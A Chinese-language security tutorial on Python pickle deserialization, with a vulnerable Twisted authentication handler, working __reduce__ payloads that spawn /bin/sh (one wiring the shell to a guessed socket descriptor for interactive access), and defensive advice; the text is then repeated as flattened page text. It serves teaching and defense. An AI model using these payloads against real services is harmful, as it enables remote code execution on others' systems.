误用Python “pickle”模块导致exploit
字数 1369 2025-08-26 22:11:28

Python pickle模块安全风险与利用分析

1. pickle模块概述

Python的pickle模块是一个强大的序列化和反序列化工具,能够将Python对象转换为字节流(序列化),以及从字节流重建对象(反序列化)。

主要功能

  • 二进制数据的序列化
  • Python数据类型的加载
  • 支持几乎所有Python对象类型

官方警告

"Warning: The pickle module is not intended to be secure against erroneous or maliciously constructed data. Never unpickle data received from an untrusted or unauthenticated source."

关键点:pickle模块设计上不考虑安全性,不能防止错误或恶意构造的数据。

2. 漏洞示例分析

漏洞代码示例

class VulnerableProtocol(protocol.Protocol):
    def dataReceived(self, data):
        # ...解析传入数据...
    
    def verifyAuth(self, headers):
        try:
            token = cPickle.loads(base64.b64decode(headers['AuthToken']))
            if not check_hmac(token['signature'], token['data'], getSecretKey()):
                raise AuthenticationFailed
            self.secure_data = token['data']
        except:
            raise AuthenticationFailed

漏洞点

  1. 直接从HTTP头中获取AuthToken
  2. 对AuthToken进行base64解码后直接使用cPickle.loads()反序列化
  3. 没有对pickle数据进行任何安全验证

3. 攻击原理

pickle反序列化执行任意代码

pickle允许对象通过定义__reduce__方法来声明如何被序列化。攻击者可以构造恶意pickle数据,在反序列化时执行任意代码。

攻击步骤

  1. 构造一个包含__reduce__方法的恶意类
  2. __reduce__方法返回一个元组,包含回调函数和参数
  3. pickle在反序列化时会调用这个回调函数

4. 攻击实现

基本攻击代码

import cPickle
import subprocess
import base64

class RunBinSh(object):
    def __reduce__(self):
        return (subprocess.Popen, (('/bin/sh',),))

print base64.b64encode(cPickle.dumps(RunBinSh()))

解释

  • 构造一个RunBinSh类,其__reduce__方法返回subprocess.Popen和参数('/bin/sh',)
  • 序列化后base64编码,可作为AuthToken发送

高级攻击:交互式shell获取

在Twisted等异步服务器中,需要处理文件描述符问题:

import cPickle
import subprocess
import base64

class Exploit(object):
    def __reduce__(self):
        fd = 20  # 猜测的文件描述符
        return (subprocess.Popen,
                (('/bin/sh',),  # args
                 0,             # bufsize
                 None,          # executable
                 fd, fd, fd))   # std{in,out,err}

print base64.b64encode(cPickle.dumps(Exploit()))

技巧

  1. 创建多个连接(如20个)以确保获得正确的文件描述符
  2. 将shell的stdin/stdout/stderr重定向到特定文件描述符
  3. 通过其中一个连接与shell交互

5. 防御措施

1. 避免使用pickle处理不可信数据

最佳实践:永远不要对来自不受信任来源的数据使用pickle.loads()pickle.load()

2. 使用安全的替代方案

  • JSON:对于简单数据结构
  • XML:需要更复杂结构时
  • MessagePack:需要二进制格式时
  • PyYAML:注意也需要安全配置

3. 必须使用时采取的措施

如果必须使用pickle:

  1. 使用HMAC等机制验证数据完整性和来源
  2. 在沙箱环境中反序列化
  3. 限制反序列化的对象类型

4. 示例安全代码

import hmac
import hashlib

def safe_loads(pickle_data, secret_key):
    # 先验证HMAC
    data, signature = pickle_data['data'], pickle_data['signature']
    if not hmac.compare_digest(
            signature,
            hmac.new(secret_key, data, hashlib.sha256).digest()):
        raise AuthenticationFailed
    # 再反序列化
    return pickle.loads(data)

6. 总结

  • pickle模块设计不考虑安全性,反序列化不可信数据会导致任意代码执行
  • 攻击者可以通过构造包含__reduce__方法的恶意类实现RCE
  • 在Twisted等异步服务器中,可以通过文件描述符重定向获取交互式shell
  • 最佳防御是完全避免使用pickle处理不可信数据
  • 必须使用时,应结合加密签名和严格验证

核心原则:永远不要反序列化不受信任或未经身份验证的来源的pickle数据。

Python pickle模块安全风险与利用分析 1. pickle模块概述 Python的 pickle 模块是一个强大的序列化和反序列化工具,能够将Python对象转换为字节流(序列化),以及从字节流重建对象(反序列化)。 主要功能 二进制数据的序列化 Python数据类型的加载 支持几乎所有Python对象类型 官方警告 "Warning: The pickle module is not intended to be secure against erroneous or maliciously constructed data. Never unpickle data received from an untrusted or unauthenticated source." 关键点 :pickle模块设计上不考虑安全性,不能防止错误或恶意构造的数据。 2. 漏洞示例分析 漏洞代码示例 漏洞点 : 直接从HTTP头中获取AuthToken 对AuthToken进行base64解码后直接使用 cPickle.loads() 反序列化 没有对pickle数据进行任何安全验证 3. 攻击原理 pickle反序列化执行任意代码 pickle允许对象通过定义 __reduce__ 方法来声明如何被序列化。攻击者可以构造恶意pickle数据,在反序列化时执行任意代码。 攻击步骤 构造一个包含 __reduce__ 方法的恶意类 __reduce__ 方法返回一个元组,包含回调函数和参数 pickle在反序列化时会调用这个回调函数 4. 攻击实现 基本攻击代码 解释 : 构造一个 RunBinSh 类,其 __reduce__ 方法返回 subprocess.Popen 和参数 ('/bin/sh',) 序列化后base64编码,可作为AuthToken发送 高级攻击:交互式shell获取 在Twisted等异步服务器中,需要处理文件描述符问题: 技巧 : 创建多个连接(如20个)以确保获得正确的文件描述符 将shell的stdin/stdout/stderr重定向到特定文件描述符 通过其中一个连接与shell交互 5. 防御措施 1. 避免使用pickle处理不可信数据 最佳实践 :永远不要对来自不受信任来源的数据使用 pickle.loads() 或 pickle.load() 2. 使用安全的替代方案 JSON :对于简单数据结构 XML :需要更复杂结构时 MessagePack :需要二进制格式时 PyYAML :注意也需要安全配置 3. 必须使用时采取的措施 如果必须使用pickle: 使用HMAC等机制验证数据完整性和来源 在沙箱环境中反序列化 限制反序列化的对象类型 4. 示例安全代码 6. 总结 pickle模块设计不考虑安全性,反序列化不可信数据会导致任意代码执行 攻击者可以通过构造包含 __reduce__ 方法的恶意类实现RCE 在Twisted等异步服务器中,可以通过文件描述符重定向获取交互式shell 最佳防御是完全避免使用pickle处理不可信数据 必须使用时,应结合加密签名和严格验证 核心原则 :永远不要反序列化不受信任或未经身份验证的来源的pickle数据。